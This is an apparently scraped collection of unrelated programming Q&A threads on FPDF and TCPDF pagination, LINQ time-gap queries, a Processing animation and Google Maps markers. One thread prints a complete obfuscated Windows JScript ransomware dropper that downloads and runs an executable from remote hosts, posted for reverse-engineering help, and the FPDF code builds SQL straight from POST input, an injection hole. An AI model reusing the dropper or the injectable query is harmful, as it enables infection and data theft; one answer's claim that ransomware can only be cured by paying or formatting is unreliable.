fpdf table rows breaks from second page - pdf

I'm trying to output a data table extracted from database using FPDF.
My problem is that the first page of output is coming as it is expected, but after the table ends in first page and it goes to second page then rows of table are coming in one row per page.
I tried searching whole internet thing but i couldn't find out the suitable answer with reference to my below code. Below is my fpdf file code.
<?php
require('fpdf.php');
include("pdoconnect.php");
class PDF extends FPDF
{
// Page header
function Header()
{
$this->Image('picture.png',10,6,30);
$this->SetFont('Arial','B',15);
// Move to the right
$this->Cell(80);
// Title
$this->SetTextColor( 255, 119, 0 );
$this->Cell(30,10,'Report',0,0,'C');
// Line break
$this->Line(10, 22, 210-10, 22);
$this->Ln(20);
}
// Page footer
function Footer()
{
$this->Line(10, 280, 210-10, 280);
$this->SetY(-15);
$this->SetFont('Arial','I',8);
// Page number
$this->Cell(0,10,'Page '.$this->PageNo().'/{nb}',0,0,'C');
}
}
$result='SELECT * FROM report WHERE time BETWEEN "'.$_POST["fromdate"].'" AND "'.$_POST["todate"].'"';
$link=$db->prepare($result);
$link->execute();
$resultset=$link->fetchAll();
$count=$link->rowCount();
$pdf = new PDF();
$pdf->AliasNbPages();
$pdf->SetTitle("Report");
$pdf->AddPage();
$row_height = 10;
$y_axis=30;
$pdf->SetY($y_axis);
$pdf->SetX(25);
$pdf->Cell(30, 10,"", 0, 0, 1);
$y_axis = $y_axis + $row_height;
$pdf->SetDrawColor(128,0,0);
$pdf->SetTextColor(102, 68, 34 );
$pdf->SetFont('Arial', 'B', 10);
$pdf->SetY($y_axis);
$pdf->SetX(11);
$pdf->Cell(34,10,'Order ID',1,0,'C');
$pdf->Cell(35,10,'Name',1,0,'C');
$pdf->Cell(30,10,'TID',1,0,'C');
$pdf->Cell(20,10,'Quantity',1,0,'C');
$pdf->Cell(20,10,'Date',1,0,'C');
$pdf->Cell(20,10,'Time',1,0,'C');
$pdf->Cell(30,10,'Bill Amount',1,0,'C');
$y_axis = $y_axis + $row_height;
$total=0;
foreach($resultset as $row)
{
$len=strlen($row['name']);
if($len>21)
{
$name=substr($row['name'],0,19)."..";
}
else
{
$name = $row['name'];
}
$oid = $row['order_id'];
$tid = $row['t_id'];
$qty = $row['quantity'];
$date = $row['date'];
$time = $row['time'];
$amt = $row['bill_amount'];
$total=$total+$amt;
$pdf->SetDrawColor(128,0,0);
$pdf->SetTextColor(0);
$pdf->SetFont('Arial', '', 9);
$pdf->SetY($y_axis);
$pdf->SetX(11);
$pdf->Cell(34, 10, $oid, 1, 0, 'L');
$pdf->Cell(35, 10, $name, 1, 0, 'L');
$pdf->Cell(30, 10, $tid, 1, 0, 'C');
$pdf->Cell(20, 10, $qty, 1, 0, 'C');
$pdf->Cell(20, 10, $date, 1, 0, 'C');
$pdf->Cell(20, 10, $time, 1, 0, 'C');
$pdf->Cell(30, 10, $amt, 1, 0, 'R');
$y_axis = $y_axis + $row_height;
$pdf->SetY(10);
$pdf->SetX(170);
}
$totalre=$total-$r_amt;
$pdf->SetDrawColor(128,0,0);
$pdf->SetTextColor(0);
$pdf->SetFont('Arial', 'B', 11);
$pdf->SetY($y_axis);
$pdf->SetX(137);
$pdf->Cell(42, 10,'Total', 0, 0, 'C');
$pdf->SetTextColor(255,0,0);
$pdf->Cell(25, 10, $totalre , 0, 0, 'C');
$y_axis = $y_axis + $row_height;
$pdf->SetAutoPageBreak(false,20);
$pdf->Output();
?>
I want the second page displayed as first page without splitting the table rows. Please help.

This is due to the yAxis being greater than the height of the page, you will need to manually add pages and reset the yAxis using something similar to:
if ($y_axis + $row_height >= $pdf->GetPageHeight() - 20)
{
$pdf->AddPage();
$y_axis = 30;
}
after incrementing the yAxis (the -20 is to allow space for the footer)
The code should be included as below:
$y_axis = $y_axis + $row_height;
if ($y_axis + $row_height >= $pdf->GetPageHeight() - 20)
{
$pdf->AddPage();
$y_axis = 30;
}
$pdf->SetY(10);
$pdf->SetX(170);
inside your foreach loop

Related

Find gap in datetime range with Linq to sql in vb.net

I would like use linq to sql to query (prefer vb.net but c# example will do a table for records that are grouped by a field in the table and have holes in the datetime field that are greater than 30 minutes. My table has records added at regular intervals during the lifetime of a job generally every two minutes occasionally there is a period of missing records. The table holds records for multiple jobs in the same date range although I have only added one with a different job number to highlight this. The table looks like the table below.
Edit:
VB .NET, untested:
Dim jobs = New List(Of Job)() From {
New Job() With {
.Date = New DateTime(2020, 10, 1, 1, 0, 0, 0),
.JobGroup = 1,
.Value = 100
},
New Job() With {
.Date = New DateTime(2020, 10, 1, 1, 2, 0, 0),
.JobGroup = 1,
.Value = 200
},
New Job() With {
.Date = New DateTime(2020, 10, 1, 1, 4, 0, 0),
.JobGroup = 1,
.Value = 300
},
New Job() With {
.Date = New DateTime(2020, 10, 1, 1, 7, 0, 0),
.JobGroup = 2,
.Value = 600
},
New Job() With {
.Date = New DateTime(2020, 10, 1, 1, 40, 0, 0),
.JobGroup = 1,
.Value = 400
},
New Job() With {
.Date = New DateTime(2020, 10, 1, 1, 42, 0, 0),
.JobGroup = 1,
.Value = 500
},
New Job() With {
.Date = New DateTime(2020, 10, 1, 1, 9, 0, 0),
.JobGroup = 2,
.Value = 700
},
New Job() With {
.Date = New DateTime(2020, 10, 1, 1, 49, 0, 0),
.JobGroup = 2,
.Value = 800
}
}
Dim gaps = jobs.OrderBy(Function(x) x.JobGroup).Skip(1).Zip(jobs, Function(c, p) New With {Key
.Current = c, Key
.Previous = p, Key
.Gap = (c.Date - p.Date).TotalMinutes
}).Where(Function(x) x.Gap >= 30 AndAlso (x.Current.JobGroup = x.Previous.JobGroup))
For Each gap In gaps
Console.WriteLine($"Job Group: {gap.Current.JobGroup}, Gap (minutes): {gap.Gap}, Value: {gap.Current.Value} ")
Next
End Sub
Class Job
Public Property JobGroup As Integer
Public Property Date As DateTime
Public Property Value As Integer
End Class
I´m a bit rusty at VB so I´ll give you an C# answer like you said.
//Sample Data //Year, Month, Day, Hour, Minute, Second, Millisecond
var jobs = new List<Job>() { new Job() { Date = new DateTime(2020, 10, 1, 1, 0, 0, 0), JobGroup = 1 ,Value = 100},
new Job() { Date = new DateTime(2020, 10, 1, 1, 2, 0, 0),JobGroup = 1 ,Value = 200} ,
new Job() { Date = new DateTime(2020, 10, 1, 1, 4, 0, 0),JobGroup = 1 ,Value = 300},
new Job() { Date = new DateTime(2020, 10, 1, 1, 7, 0, 0), JobGroup = 2 ,Value = 600},
new Job() { Date = new DateTime(2020, 10, 1, 1, 40, 0, 0),JobGroup = 1 ,Value = 400},
new Job() { Date = new DateTime(2020, 10, 1, 1, 42, 0, 0), JobGroup = 1 ,Value = 500},
new Job() { Date = new DateTime(2020, 10, 1, 1, 9, 0, 0), JobGroup = 2 ,Value = 700},
new Job() { Date = new DateTime(2020, 10, 1, 1, 49, 0, 0), JobGroup = 2 ,Value = 800}
};
//Determine gaps
var gaps = jobs.OrderBy(x => x.JobGroup) //don´t mix job group IDs
.Skip(1) //To compare current and previous job record
.Zip(jobs, (c, p) => new { Current = c, Previous = p, Gap = (c.Date - p.Date).TotalMinutes }) //Determine gap between current and previous record
.Where(x => x.Gap >= 30 && (x.Current.JobGroup == x.Previous.JobGroup)); //Only take those gaps which are GT 30 minutes
foreach(var gap in gaps)
{
Console.WriteLine($"Job Group: {gap.Current.JobGroup}, Gap (minutes): {gap.Gap}, Value: {gap.Current.Value} ");
}
//Result:
//Job Group: 1, Gap(minutes): 36, Value: 400
//Job Group: 2, Gap(minutes): 40, Value: 800
My sample data is just a simple DTO
class Job
{
public int JobGroup { get; set; }
public DateTime Date { get; set; }
public int Value { get; set; }
}
Be aware that #Alex B's solution requires the table be pulled into memory before executing because .Zip isn't translatable to SQL. in this case, you may want to look into doing this via a view leveraging SQL's Lag...Over syntax and just consume the results of that via a Linq to SQL Entity. Something like:
CREATE VIEW vwJobGaps AS
SELECT Job, DateAdded, PrevDateAdded, Value,
DATEDIFF(m, PrevDateAdded, DateAdded) As MinutesFromLastJob
FROM
(SELECT Job, DateAdded, Value,
LAG(DateAdded, 1, null) over (Partition by Job order by DateAdded ASC) As PrevDateAdded
FROM MYTable))
And then for your entity:
<Table("vwJobGaps")>
Public Class JobGap
Public Property Job As Integer
Public Property DateAdded As DateTime
Public Property PrevDateAdded As DateTime
Public Property Value As Decimal
Public Property MinutesFromLastJob As Integer
End Class
Since you're using a view here, you can add additional filters, joins, etc using standard LINQ to SQL just as you would other tables:
var query = from gap in dc.JobGaps
where gap.MinutesFromLastJob > 30
'' select clause not needed in vb

How to i make rectangle move across the screen processing js

I want to make the white rectangles move across the screen like traffic and stop when the light is red. I have started this on the move method, totally new to processing js.
Currently the cars are the correct distance apart but i am unsure how to move thtis loop and move across the screen until the traiff light is red.
let counter = 0;
let lightorder = 0;
//setup the enviroment i.e. roads, lines on roads and trees
void setup() {
size(1330, 720);
background(96, 153, 25);
//Roads
noStroke();
fill(100);
rect(0, 200 + 10, 1330, 300);
rect(520, 0, 300, 1500);
//Lines on road
fill(255);
rect(0, 340, 90, 30);
rect(200, 340, 90, 30);
rect(400, 340, 90, 30);
rect(860, 340, 90, 30);
rect(1060, 340, 90, 30);
rect(1260, 340, 90, 30);
rect(655, 75, 30, 90);
rect(655, 575, 30, 90);
for(int i=0; i < 10; i++){
move(i = i +20)
}
}
//work out light order and assign and fill shapes on traffic lights according
void draw() {
determineLightOrder();
trafficLight();
trafficLight2();
trafficLight3();
trafficLight4();
}
void move(int p){
rect(p, 230, 200, 70);
rect(p, 400, 200, 70);
}
//determine if traffic light is red, yellow or green and fill shape
accordingly
void trafficLight() {
let is_red_light = lightorder == 2;
let is_yellow_light = lightorder == 1;
let is_green_light = lightorder == 0;
stroke(250);
fill(0);
rect(10 + 550, 10 + 80, 40, 100);
if (is_red_light) {
fill(255, 0, 0);
}
else {
fill(100);
}
ellipse(30 + 550, 30 + 80, 20, 20);
if (is_yellow_light) {
fill(250, 250, 0);
ellipse(30 + 550, 60 + 80, 20, 20);
}
// green ligh
if (is_green_light) {
fill(0, 255, 0);
ellipse(30 + 550, 90 + 80, 20, 20);
}
}
void trafficLight2() {
//declare light color variables
let is_red_light = lightorder == 0;
let is_yellow_light = lightorder == 2;
let is_green_light = lightorder == 1;
stroke(250);
fill(0);
rect(10 + 850, 10 + 215, 40, 100);
if (is_red_light) {
fill(255, 0, 0);
}
else {
fill(100);
}
ellipse(30 + 850, 30 + 215, 20, 20);
if (is_yellow_light) {
fill(250, 250, 0);
ellipse(30 + 850, 60 + 215, 20, 20);
}
if (is_green_light) {
fill(0, 255, 0);
ellipse(30 + 850, 90 + 215, 20, 20);
}
}
//same code as the trafficLight2 different position of lights
void trafficLight3() {
stroke(250);
fill(0);
rect(10 + 420, 10 + 380, 40, 100);
let is_red_light = lightorder == 0;
let is_yellow_light = lightorder == 2;
let is_green_light = lightorder == 1;
if (is_red_light) {
fill(255, 0, 0);
}
else {
fill(100);
}
ellipse(30 + 420, 30 + 380, 20, 20);
if (is_yellow_light) {
fill(250, 250, 0);
ellipse(30 + 420, 60 + 380, 20, 20);
}
if (is_green_light) {
fill(0, 255, 0);
ellipse(30 + 420, 90 + 380, 20, 20);
}
}
//same code as trafficLight1 different position of lights
void trafficLight4() {
let is_red_light = lightorder == 2;
let is_yellow_light = lightorder == 1;
let is_green_light = lightorder == 0;
stroke(250);
fill(0);
rect(10 + 730, 10 + 525, 40, 100);
if (is_red_light) {
fill(255, 0, 0);
}
else {
fill(100);
}
ellipse(30 + 730, 30 + 525, 20, 20);
if (is_yellow_light) {
fill(250, 250, 0);
ellipse(30 + 730, 60 + 525, 20, 20);
}
if (is_green_light) {
fill(0, 255, 0);
ellipse(30 + 730, 90 + 525, 20, 20);
}
}
//determine the light order
void determineLightOrder() {
counter++;
if (counter == 200) {
counter = 0;
lightorder = 0;
}
else if (counter == 50) {
lightorder = 1;
}
else if (counter == 70) {
lightorder = 2;
}
}
Stack Overflow isn't really designed for general "how do I do this" type questions. It's for specific "I tried X, expected Y, but got Z instead" type questions. But I'll try to help in a general sense:
I wrote this tutorial on animation in Processing that I highly recommend you read. But basically, you need to store the state of your program (for example, the position of the rectangles) in a variable (or multiple variables). Use those variables to draw your scene, and then change those variables over time to create an animation.
Break your problem down into smaller pieces and take those pieces on one at a time. Can you create a simple program that shows a single moving square? Then get that square to stop given a certain criteria. Then add a second square. Keep working your way forward in small steps like that, and if you get stuck on a specific step, post a MCVE along with a more specific question. Good luck.

TCPDF On Next Page Header Goes Downwards

i am using TCPDF to generate pdf report. But i am having a wired issue, on first page header starts from right/correct y position but from 2nd page onward it goes downwards...
here is my code i am using:
<?php
require_once('./../../../Classes/tcpdf/config/tcpdf_config.php');
require_once('./../../../Classes/tcpdf/tcpdf.php');
class MYPDF extends TCPDF
{
//Page header
public function Header()
{
// Logo
$this->Image('./../../../images/bdGovt-Logo.gif', 5, 8, 25, '', 'GIF', '', 'T', false, 300, '', false, false, 0, false, false, false);
$this->Image('./../../../images/SEQAEP-Logo.gif', 275, 8, 15, '', 'GIF', '', 'T', false, 300, '', false, false, 0, false, false, false);
// Set font
$this->SetFont('helvetica', 'B', 12);
// Title
$this->ln();
$this->Cell(0, 0, 'Government Of People\'s Republic Of Bangladesh', 0, false, 'C', 0, '', 0, false, 'M', 'M');
$this->ln();
$this->Cell(0, 0, 'Secondary Education Quality & Access Enhancement Project (SEQAEP)', 0, false, 'C', 0, '', 0, false, 'M', 'M');
$this->ln();
$this->Cell(0, 0, 'Award Confirmation Form For Stipend And Tution', 0, false, 'C', 0, '', 0, false, 'M', 'M');
$this->ln();
$this->SetFont('', 'B', 10);
$this->Cell(0, 0, 'Semester: Jan - Jun 2015', 0, false, 'C', 0, '', 0, false, 'M', 'M');
$this->ln();
}
// Page footer
public function Footer()
{
// Position at 15 mm from bottom
$this->SetY(-20);
// Set font
$this->SetFont('helvetica', '', 8);
$this->MultiCell(93, 0, str_repeat('_', 45) . "\r\n" . 'Signature of Head of the Institute' . "\r\n" . 'Include Name with Official Seal', 0, 'C', 0, 0);
$this->MultiCell(94, 0, str_repeat('_', 45) . "\r\n" . 'Signature of Upazila Secondary Education Officer' . "\r\n" . 'Include Name with Official Seal', 0, 'C', 0, 0);
$this->MultiCell(93, 0, str_repeat('_', 45) . "\r\n" . 'Signature of Bank Officer' . "\r\n" . 'Include Name with Official Seal', 0, 'C', 0, 0);
$this->ln();
// Page number
$this->Cell(0, 10, 'Page ' . $this->getAliasNumPage() .' of ' . $this->getAliasNbPages(), 0, false, 'R', 0, '', 0, false, 'T', 'M');
}
}
$pdf = new MYPDF('P', PDF_UNIT, 'A3', true, 'UTF-8', false);
// set document information
$pdf->SetCreator('Mobile: +8801717219006');
$pdf->SetAuthor('Mohammad Kamrul Hassan');
$pdf->SetTitle('Siam Computer');
$pdf->SetSubject('Email: support#siamcomputer-bd.com');
$pdf->SetKeywords('www.siamcomputer-bd.com');
// set default header data
$pdf->SetHeaderData(PDF_HEADER_LOGO, PDF_HEADER_LOGO_WIDTH, PDF_HEADER_TITLE, PDF_HEADER_STRING);
// set header and footer fonts
$pdf->setHeaderFont(Array(PDF_FONT_NAME_MAIN, '', PDF_FONT_SIZE_MAIN));
$pdf->setFooterFont(Array(PDF_FONT_NAME_DATA, '', PDF_FONT_SIZE_DATA));
// set default monospaced font
$pdf->SetDefaultMonospacedFont(PDF_FONT_MONOSPACED);
// set margins
$pdf->SetMargins(10, 27, 10);
$pdf->SetHeaderMargin(PDF_MARGIN_HEADER);
$pdf->SetFooterMargin(PDF_MARGIN_FOOTER);
// set auto page breaks
$pdf->SetAutoPageBreak(TRUE, PDF_MARGIN_BOTTOM);
// set image scale factor
$pdf->setImageScale(PDF_IMAGE_SCALE_RATIO);
// set font
$pdf->SetFont('helvetica', 'B', 10);
// set cell padding
$pdf->setCellPaddings(1.000125, 1.000125, 1.000125, 1.000125);
// add a page
$pdf->AddPage();
$pdf->SetFont('helvetica', '', 8);
$strSInfoName = array('Location Code:', 'Bank Branch Code:', 'Bank Branch Name:', 'Division Name:', 'District Name:', 'Upazila Name:', 'Institute ID:', 'Institute Name:', 'EIIN No:');
$strSInfoValue = array('20902', '05229', 'GUNAGARI', 'CHITTAGONG', 'CHITTAGONG', 'BANSHKHALI', '01000400', 'MONAYEM SHAH AULIA HIGH SCHOOL', '104054');
$pdf->ln();
//file_put_contents('./wtf.txt', $pdf->GetY());
foreach($strSInfoName as $key => $value)
{
$pdf->Cell(30, 5, $strSInfoName[$key], 0, 0, 'L', 0);
$pdf->Cell(75, 5, $strSInfoValue[$key], 0, 0, 'L', 0);
$pdf->ln();
}
$pdf->SetFont('helvetica', 'B', 8);
$pdf->SetY(27);
$pdf->SetX(165);
$pdf->Cell(125, 0, 'Institution Summary', 1, 0, 'C', 0);
$pdf->ln();
$pdf->SetX(165);
$pdf->Cell(15, 11, 'Class', 1, 0, 'C', 0);
$pdf->Cell(20, 11, 'Students', 1, 0, 'C', 0);
$pdf->Cell(90, 0, 'Bellow Figures Showed In Taka', 1, 0, 'C', 0);
$pdf->ln();
$pdf->SetX(165);
$pdf->Cell(35, 0, '', 0, 0, 'C', 0);
$pdf->Cell(20, 0, 'Stipend', 1, 0, 'C', 0);
$pdf->Cell(20, 0, 'Tution', 1, 0, 'C', 0);
$pdf->Cell(30, 0, 'SSC Exam Fees', 1, 0, 'C', 0);
$pdf->Cell(20, 0, 'Total', 1, 0, 'C', 0);
$pdf->ln();
$pdf->SetFont('helvetica', '', 8);
$strDummyArray = array_fill(0, 6, '00');
$strDummyArray = array_fill(0, 6, $strDummyArray);
$strSizeArray = array(15, 20, 20, 20, 30, 20);
foreach($strDummyArray as $row)
{
$pdf->SetX(165);
foreach($row as $key=>$col)
{
$pdf->Cell($strSizeArray[$key], 0, $col, 1, 0, 'C', 0);
}
$pdf->ln();
}
$pdf->ln();
$pdf->ln();
$pdf->SetFont('helvetica', 'B', 8);
$pdf->Cell(10, 0, 'Class:', 0, 0, 'L', 0);
$pdf->SetFont('helvetica', '', 8);
$pdf->Cell(10, 0, '6', 0, 0, 'L', 0);
$pdf->ln();
$pdf->ln();
$pdf->Cell(7.5, 0, 'SL', 1, 0, 'C', 0);
$pdf->Cell(60, 0, 'Student Information', 1, 0, 'C', 0);
$pdf->Cell(15, 0, 'Stipened', 1, 0, 'C', 0);
$pdf->Cell(20, 0, 'Photo', 1, 0, 'C', 0);
$pdf->Cell(37.5, 0, 'Signature', 1, 0, 'C', 0);
$pdf->Cell(7.5, 0, 'SL', 1, 0, 'C', 0);
$pdf->Cell(60, 0, 'Student Information', 1, 0, 'C', 0);
$pdf->Cell(15, 0, 'Stipened', 1, 0, 'C', 0);
$pdf->Cell(20, 0, 'Photo', 1, 0, 'C', 0);
$pdf->Cell(37.5, 0, 'Signature', 1, 0, 'C', 0);
$pdf->ln();
$pdf->AddPage();
//Close and output PDF document
header('Content-Type: application/pdf');
header('Content-Disposition: inline; filename="test.pdf"', false);
$pdf->Output('test-' . time() . '.pdf', 'I');
?>
and this is how it looks on generated pdf (screenshots):
Page-1:
Page-2: (first line text (header) position get changed)
i want it start from same position on every page as first page
hope that makes sense? :)

new type of malware a.k.a ransomware

I'm not sure if it is allowed to ask this question here.
I just have a friend with PC which is infected with some sort of "RANSOMWARE" - a type of malware where will encrypt your file/s and ask for payment for decryption.
I managed to take out the root processes of the virus(which encrypt and change all of document, images and video files to "*.micro" files) but recovering the infected data is a bit difficult and not much resources available online yet.
Here is the .js script file that triggers the malware:
var _base64Idx = [
/*43 -43 = 0*/
/*'+', 1, 2, 3,'/' */
62, -1, -1, -1, 63,
/*'0','1','2','3','4','5','6','7','8','9' */
52, 53, 54, 55, 56, 57, 58, 59, 60, 61,
/*15, 16, 17,'=', 19, 20, 21 */
-1, -1, -1, 64, -1, -1, -1,
/*65 - 43 = 22*/
/*'A','B','C','D','E','F','G','H','I','J','K','L','M', */
0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12,
/*'N','O','P','Q','R','S','T','U','V','W','X','Y','Z' */
13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25,
/*91 - 43 = 48 */
/*48, 49, 50, 51, 52, 53 */
-1, -1, -1, -1, -1, -1,
/*97 - 43 = 54*/
/*'a','b','c','d','e','f','g','h','i','j','k','l','m' */
26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38,
/*'n','o','p','q','r','s','t','u','v','w','x','y','z' */
39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51
];
function decode(input, output, offset) {
var out = output;
if(!out) {
out = new Uint8Array(Math.ceil(input.length / 4) * 3);
}
// remove all non-base64 characters
input = input.replace(/[^A-Za-z0-9\+\/\=]/g, '');
offset = offset || 0;
var enc1, enc2, enc3, enc4;
var i = 0, j = offset;
while(i < input.length) {
enc1 = _base64Idx[input.charCodeAt(i++) - 43];
enc2 = _base64Idx[input.charCodeAt(i++) - 43];
enc3 = _base64Idx[input.charCodeAt(i++) - 43];
enc4 = _base64Idx[input.charCodeAt(i++) - 43];
out[j++] = (enc1 << 2) | (enc2 >> 4);
if(enc3 !== 64) {
// decoded at least 2 bytes
out[j++] = ((enc2 & 15) << 4) | (enc3 >> 2);
if(enc4 !== 64) {
// decoded 3 bytes
out[j++] = ((enc3 & 3) << 6) | enc4;
}
}
}
// make sure result is the exact decoded length
return output ?
(j - offset) :
out.subarray(0, j);
}
var tEuosqyTkm = function (packedText) {
var buffer = [];
var length = decode(packedText, buffer);
var charCodeAt = "charCodeAt";
var result = "";
for (var i = 0; i < length; i++) {
result += String.fromCharCode(buffer[i] ^ "bVE6YUkX3beIQAEG"[charCodeAt](i % "bVE6YUkX3beIQAEG".length));
}
return result;
};
var aideN66 = function() {
var vapidAuw = function() {};
vapidAuw.prototype.create = function(disapprobationQvY) {
return WScript.CreateObject(disapprobationQvY);
};
return vapidAuw;
}();
(function() {
var nettlepkm = new aideN66();
var banterKA3 = 200;
var inspireRpB = tEuosqyTkm('"JRMR"');
var pallidK2I = tEuosqyTkm('"Jy4gVQ=="');
var sultryiRC = tEuosqyTkm('"NQUmRDAlH3ZgCgAlPQ=="');
var constrainedfQW = tEuosqyTkm('"LwUdexVnRQB+Li0dBRE="');
var interpolatevY1 = tEuosqyTkm('"BDx8AAg0ABdDMA=="');
var denouementpK3 = tEuosqyTkm('"KgcBcCwRER56Jw=="');
var gratisE9J = tEuosqyTkm('"CG4EQWAYCg90Lg=="');
var rangeuR2 = tEuosqyTkm('"Jz0LeGwnBWwFIw=="');
var broochIQm = tEuosqyTkm('"MzoheDZsKhddBQ=="');
var smatteringBY6 = tEuosqyTkm('"NhQQXwwiOABAVA=="');
var interminablecBc = tEuosqyTkm('"MzwOBioiPyJwLQ=="');
var sonorousmpK = tEuosqyTkm('"IxIKchs="');
var evidentzgN = tEuosqyTkm('"MSI3Uzg4"');
var convalesceWKQ = tEuosqyTkm('"RwIAewlwNw=="');
var justifyaTv = tEuosqyTkm('"TDM9Uw=="');
var cedeWsU = Math.pow(2, 10) * 249;
var foilgEV = [ tEuosqyTkm('"CiIxRmN6RDBWDgkmKC4wKQU7JFgoJEU7XA9Ke2dvID8H"'), tEuosqyTkm('"CiIxRmN6RDBWDgkmKC4wKQU7JFg/M0U7XA9Ke2dvID8H"') ];
var suavityzSi = 2097152;
var flagHQx = nettlepkm.create(sultryiRC);
var endemicfVU = nettlepkm.create(constrainedfQW);
var evidentv5F = nettlepkm.create(sonorousmpK + tEuosqyTkm('"TA=="') + evidentzgN);
var humbleM87 = flagHQx.ExpandEnvironmentStrings(convalesceWKQ);
var weltPvA = humbleM87 + suavityzSi + justifyaTv;
var roseatef1b = false;
for (var masticatehJi = 0; masticatehJi < foilgEV.length; masticatehJi++) {
try {
var invocationIOk = foilgEV[masticatehJi];
endemicfVU.open(inspireRpB, invocationIOk, false);
endemicfVU.send();
if (endemicfVU.status == banterKA3) {
try {
evidentv5F.open();
evidentv5F.type = 1;
evidentv5F.write(endemicfVU[tEuosqyTkm('"EDM2RjY7GD1xDQEw"')]);
if (evidentv5F.size > cedeWsU) {
masticatehJi = foilgEV.length;
evidentv5F.position = 0;
evidentv5F.saveToFile(weltPvA, 2);
roseatef1b = true;
}
} finally {
evidentv5F.close();
}
}
} catch (ignored) {}
}
if (roseatef1b) {
flagHQx[pallidK2I](humbleM87 + Math.pow(2, 21));
}
})();
Anybody here can help me out on reverse engineering this script to decrypt/recover the encrypted files?
Thank you :)
P.S. FYI, this "ransomware" script circulating through emails as attachment since 9th of Feb 2016.
It just downloads runs an actual executable script.
It tries to get it from http[colon]//helloyoungmanqq.com/26.exe first, then http[colon]//helloyoungmanff.com/26.exe if that fails. I assume it's the same file, just a backup download site.
All that encoding stuff is just to obfuscate the strings it uses to run the ActiveX stuff that does this (since otherwise it would quite quickly be easily recognized by software and humans alike as malicious).
This script is not your answer...it just leads to the next stuff to look into.
I would highly recommend being very careful with those files should you download them.
It's very dangerous to play with Ransomware source codes. You will surely end up losing your data if at all you try to recover from Ransomware. The only way to remove ransomware is either you pay the ransom amount or you just format the system completely without leaving any file in the system.
There are few tools available to remove ransomware but I am not sure about which version of Ransomware you are talking about in this post. There are many Ransomware families that exist and every Ransomware has its own source codes and files!

Google Maps LocalSearch API custom marker not showing

I have implemented the LocalSearch API (GSmapSearchControl) which is working nicely.
I simply want to change the default green pin marker to my own custom marker.
My code runs through successfully (no javascript errors), the image URLs definitely exist, yet the custom marker doesn't display. No errors, but I just still get the default green pin marker.
Any ideas??
<script type="text/javascript">
function load() {
var container = document.getElementById("mapsearch");
new GSmapSearchControl(container, "4 Dan Close Lambton",
{ title: "Dan Close",
url: "<%=Model.ToFullUrl() %>",
idleMapZoom: GSmapSearchControl.ACTIVE_MAP_ZOOM + 3,
hotspots: hotspots,
showResultList: GSmapSearchControl.DEFAULT_RESULT_LIST,
drivingDirections: GSmapSearchControl.DRIVING_DIRECTIONS_FROM_USER,
linkTarget: GSearch.LINK_TARGET_BLANK,
onBootComplete: bootComplete
}
);
}
GSearch.setOnLoadCallback(load);
function bootComplete(searchControl) {
var image = new google.maps.MarkerImage('http://localhost:59825/images/markers/image.png', new google.maps.Size(16, 16), new google.maps.Point(0, 0), new google.maps.Point(8, 16));
var shadow = new google.maps.MarkerImage('http://localhost:59825/images/markers/shadow.png', new google.maps.Size(28, 16), new google.maps.Point(0, 0), new google.maps.Point(8, 16));
var shape = { coord: [15, 0, 15, 1, 15, 2, 15, 3, 15, 4, 15, 5, 15, 6, 15, 7, 15, 8, 15, 9, 15, 10, 15, 11, 15, 12, 15, 13, 15, 14, 15, 15, 0, 15, 0, 14, 0, 13, 0, 12, 0, 11, 0, 10, 0, 9, 0, 8, 0, 7, 0, 6, 0, 5, 0, 4, 0, 3, 0, 2, 0, 1, 0, 0, 15, 0], type: 'poly' };
var point = new google.maps.LatLng(-32.916792, 151.708295);
var marker = new google.maps.Marker({ draggable: false, position: point, shadow: shadow, icon: image, shape: shape });
localSearch.idleMarker = marker;
localSearch.mapCenterMarker = marker;
}